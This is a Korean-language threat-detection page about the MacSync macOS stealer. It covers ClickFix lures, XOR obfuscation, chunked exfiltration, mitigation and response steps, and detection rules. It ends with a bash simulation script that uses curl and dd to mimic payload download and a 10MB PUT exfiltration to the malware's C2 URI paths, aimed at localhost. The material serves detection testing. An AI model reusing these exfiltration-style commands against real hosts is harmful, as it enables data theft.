MacSync macOS 정보 탈취 도구, ClickFix 미끼를 사용하여 탐지를 회피
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
MacSync Stealer는 ClickFix 스타일의 사회공학 기법을 이용하여 사용자를 속여 악의적인 터미널 명령어를 실행하게 하는 macOS 중심의 멀웨어-서비스형(MaaS)입니다. 이 멀웨어는 Mach-O 바이너리, 메모리 내 AppleScript 실행, 청크화된 데이터 유출을 포함하는 모듈식, 다단계 실행 체인을 따릅니다. 탐지를 회피하기 위해, XO 암호화, 프로세스 데몬화, 포렌식 아티팩트의 신속한 제거를 사용합니다.
조사
조사에는 실행 흐름과 회피 기술을 매핑하기 위해 64비트 Mach-O 스테이지의 리버스 엔지니어링이 포함되었습니다. 연구자들은 키 0xAA 를 사용한 단일 바이트 XOR 암호화를 사용하는 C++ 템플릿 클래스를 확인했습니다. 분석 결과, HTTP PUT 전송 전에 도난 데이터를 10MB 청크로 나누는 dd 유틸리티를 사용하는 고급 유출 메커니즘도 발견되었습니다.
완화 조치
사용자는 브라우저 오류, 가짜 인증 페이지 또는 ClickFix 팝업에 의해 제시된 터미널 명령어를 복사 및 붙여넣지 않도록 교육받아야 합니다. 조직은 터미널 활동과 osascript의 무단 실행을 면밀히 모니터링해야 합니다. 승인되지 않은 바이너리를 제한하고 /tmp 내에서의 의심스러운 파일 생성 또는 실행을 모니터링하면 노출을 더욱 줄일 수 있습니다.
대응
MacSync 활동이 감지되면, 영향을 받은 macOS 엔드포인트를 즉시 격리하여 추가 데이터 유출을 중단시켜야 합니다. 대응자는 /tmp 디렉토리에 대해 포렌식 분석을 수행하고 ~/Library/LaunchAgents/ 에서 악성 지속성 plist를 검사해야 합니다. 시스템 로그도 무단 osascript 실행을 위해 검토하고 네트워크 트래픽을 확인하여 알려진 C2 도메인에 대한 연결 여부를 확인해야 합니다.
공격 흐름
우리는 이 부분을 계속 업데이트하고 있습니다.
탐지
의심스러운 Curl 실행 시도 [MacOS] (cmdline을 통해)
MacOS 임시 폴더에서 아카이브가 생성됨 (file_event를 통해)
탐지를 위한 IOCs (해시SHA256): MacSync: ClickFix 미끼를 이용한 교묘한 macOS 스틸러
탐지를 위한 IOCs (해시SHA1): MacSync: ClickFix 미끼를 이용한 교묘한 macOS 스틸러
탐지를 위한 IOCs (해시MD5): MacSync: ClickFix 미끼를 이용한 교묘한 macOS 스틸러
MacSync Stealer – URI 기반 탐지 [웹 서버]
MacSync: macOS에서의 은밀한 세션 데몬화 [리눅스 프로세스 생성]
시뮬레이션 실행
전제 조건: Telemetry & Baseline 사전 점검이 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대자의 기술(TTP)의 정밀한 실행을 세부적으로 설명합니다. 명령어와 내러티브는 식별된 TTP를 직접적으로 반영하고 탐지 논리에 의해 예상되는 정확한 텔레메트리 생성을 목표로 해야 합니다. 추상적이거나 관련 없는 예는 오진을 초래합니다.
-
공격 내러티브 및 명령어: 공격자는 MacSync 스틸러의 커뮤니케이션 라이프사이클을 모방하는 것을 목표로 합니다. 먼저 공격자는 특정 URI를 통해 페이로드를 다운로드하도록 피해자의 기계를 지시하는 “Clickfix” 미끼를 시뮬레이션합니다:
/dynamic?txd=. “멀웨어”가 실행되면, 도난당한 데이터 청크를 C2 서버로 보내 유출을 수행합니다PUTURI로 요청/gate?buildtxd=. 이는 탐지 규칙이 찾고 있는 정확한 패턴을 시뮬레이션합니다. -
회귀 테스트 스크립트: 이 스크립트는
curl을 사용하여 Sigma 규칙의 URI 선택 기준과 일치하는 특정 HTTP 요청을 생성합니다.#!/bin/bash # MacSync Stealer URI 시뮬레이션 스크립트 # 이 스크립트는 MacSync에서 사용되는 GET 및 PUT 요청을 시뮬레이션 합니다. TARGET_URL="http://localhost" echo "[+] 페이로드 다운로드 시뮬레이션 중 (GET /dynamic?txd=)..." curl -X GET "$TARGET_URL/dynamic?txd=malicious_payload_123" -s -o /dev/null echo "[+] 데이터 유출 시뮬레이션 중 (PUT /gate?buildtxd=)..." # 규칙 설명에 언급된 대로 10MB 청크 업로드를 시뮬레이션합니다 dd if=/dev/urandom of=chunk.bin bs=1M count=10 2>/dev/null curl -X PUT "$TARGET_URL/gate?buildtxd=exfil_data_456" --data-binary @chunk.bin -s -o /dev/null echo "[+] 시뮬레이션 완료." -
정리 명령어:
# 시뮬레이션 중 생성된 가짜 데이터 청크 제거 rm -f chunk.bin